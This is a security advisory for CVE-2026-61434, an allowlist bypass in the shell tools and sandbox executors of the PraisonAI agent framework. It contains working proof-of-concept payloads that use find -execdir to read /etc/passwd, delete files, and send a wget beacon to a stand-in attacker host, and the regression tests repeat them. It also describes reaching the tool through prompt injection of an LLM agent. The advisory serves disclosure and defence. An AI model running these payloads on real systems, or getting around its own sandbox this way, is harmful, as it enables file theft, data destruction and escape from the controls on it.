CVE-2026-61434: PraisonAI before 4.6.78 Allowlist Bypass via find -exec
Summary
The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.
The fix blocks shell metacharacters ( ;|&><$()${} ) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec ... {} + action executes commands without shell metacharacters — the + batch terminator replaces the blocked ; terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).
Details
Root cause: Each of the four implementations validates the first token of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to spawn()/subprocess.Popen() with shell: false. Shell metacharacter injection is indeed blocked.
However, find is a Unix command with built-in execution actions: -exec, -execdir, -delete, -ok, -okdir. These actions are interpreted by find itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload find /etc -name passwd -maxdepth 1 -execdir cat {} + passes the regex at line 240 of utility-tools.ts):
find /path -exec <command> {} +
The + terminator (batch mode) avoids ; which IS blocked by the metacharacter regex.
Affected components (4 implementations, same gap):
| # | Component | File | Gap | |---|---|---|---| | 1 | TS utility-tools shell() | src/praisonai-ts/src/tools/utility-tools.ts:255 | find in safeCommands allowlist | | 2 | TS SandboxExecutor | src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50 | find absent from DEFAULTBLOCKEDCOMMANDS | | 3 | Python safeshell | src/praisonai/praisonai/cli/features/safeshell.py:22-58 | find absent from BANNEDCOMMANDS, present in SAFECOMMANDS | | 4 | Python sandboxexecutor | src/praisonai/praisonai/cli/features/sandboxexecutor.py:87-91 | find absent from blockedcommands |
Bypass analysis:
| Check | find /etc -name passwd -maxdepth 1 -execdir cat {} + | Result | |---|---|---| | Metachar regex /[;|&\><]/ | {, }, + are not in regex | PASS | | Regex /\$\([^)]\)/ | No $(...) | PASS | | safeCommands.includes('find') | find IS in allowlist | PASS | | SandboxExecutor blocked paths | normalized.includes('/etc/passwd') → FALSE (path split: /etc + passwd) | PASS | | spawn('find', [...], {shell:false}) | find interprets -execdir internally | BYPASS |
The -execdir technique also evades the SandboxExecutor's substring-based path restriction: /etc and passwd appear as separate arguments, so /etc/passwd never appears as a contiguous substring of the command string.
Preconditions:
| Precondition | How attacker obtains | Default? | |---|---|---| | Access to shell() or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y | | find binary on target | Standard Unix utility, present on Linux/macOS | Y | | find in allowlist / absent from blocklist | Default configuration in each implementation | Y |
PoC
1. Data exfiltration via -execdir (utility-tools.ts)
javascript const { shell } = require('praisonai/dist/tools/utility-tools');
async function poc() { // Control: direct 'wget' is rejected (not in safeCommands) const control = await shell('wget http://example.com'); console.log('[CONTROL] rejected:', !control.success); // true
// Bypass: find -execdir reads /etc/passwd via find's built-in action const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +'); console.log('[BYPASS]:', bypass.success); // true console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ... } poc();
Code path: safeCommands.includes('find') → true → containsShellMetacharacters(...) → false → spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false}) → find chdirs to /etc → cat ./passwd → exit 0 → {success: true, data: "<passwd contents>"}.
2. File deletion
javascript await shell('find /app/uploads -name ".bak" -delete'); // -delete is a find built-in — clean exit 0, files deleted
3. Non-allowlisted command (side-effect based)
javascript await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +'); // HTTP request fires as side effect before find returns non-zero
4. Python safeshell
python from praisonai.cli.features.safeshell import safeexecute
result = safeexecute("find /etc -name passwd -maxdepth 1 -execdir cat {} +") print(result.stdout) # root:x:0:0:root:/root:/bin/bash ...
Impact
An attacker who can influence the command parameter of shell() (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:
- Blocked file read: -execdir reads files in DEFAULTBLOCKEDPATHS by splitting the path across arguments (verified: exit 0, data returned) - File deletion: -delete destroys files without metacharacters (verified: clean exit 0) - Non-allowlisted command execution: -exec runs commands not in safeCommands (side effect fires regardless of exit code)
Shell substitution ($(...)) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes cat, chmod, python3, curl etc.
Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.
Suggested fix
Option A: Remove find from each safe/allowed command list (4 locations). Simplest fix.
Option B: If find must remain, parse arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, -okdir flags.
Regression tests: typescript test('rejects find -exec', async () => { expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false); }); test('rejects find -execdir', async () => { expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false); }); test('rejects find -delete', async () => { expect((await shell('find /app -name ".bak" -delete')).success).toBe(false); });
References
- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8) - GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High) - Fix commits: 2adfe7e, 2f9677a (2026-06-13)
Other sources
PraisonAI versions before 4.6.78 contain an allowlist bypass vulnerability in shell command execution that allows attackers to execute restricted commands via find's built-in -exec, -execdir, and -delete actions. Attackers can craft find commands with these built-in actions to read blocked files, delete files, or execute non-allowlisted binaries without triggering shell metacharacter filters.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaito a version that resolves this vulnerability.Fixed in 4.6.78 - Upgrade
Upgrade
PraisonAIto a version that resolves this vulnerability.Fixed in 4.6.78 - Configuration
Remove find from the safe/allowed command lists in all four implementations: TS utility-tools shell(), TS SandboxExecutor, Python safe_shell, and Python sandbox_executor. If find must remain, parse its arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, and -okdir.
PraisonAI command-execution implementations find safe/allowed command handling = remove find from each safe/allowed command list
Event History
Frequently Asked Questions
What is the severity of CVE-2026-61434?
The severity of CVE-2026-61434 is rated high with a score of 8.7.
How do I fix CVE-2026-61434?
To fix CVE-2026-61434, upgrade your PraisonAI to version 4.6.78 or later.
What type of vulnerability is CVE-2026-61434?
CVE-2026-61434 is classified as an OS Command Injection vulnerability.
What impact does CVE-2026-61434 have?
CVE-2026-61434 allows attackers to bypass the allowlist and execute restricted commands, leading to unauthorized access to sensitive files.
Which versions of PraisonAI are affected by CVE-2026-61434?
PraisonAI versions prior to 4.6.78 are affected by CVE-2026-61434.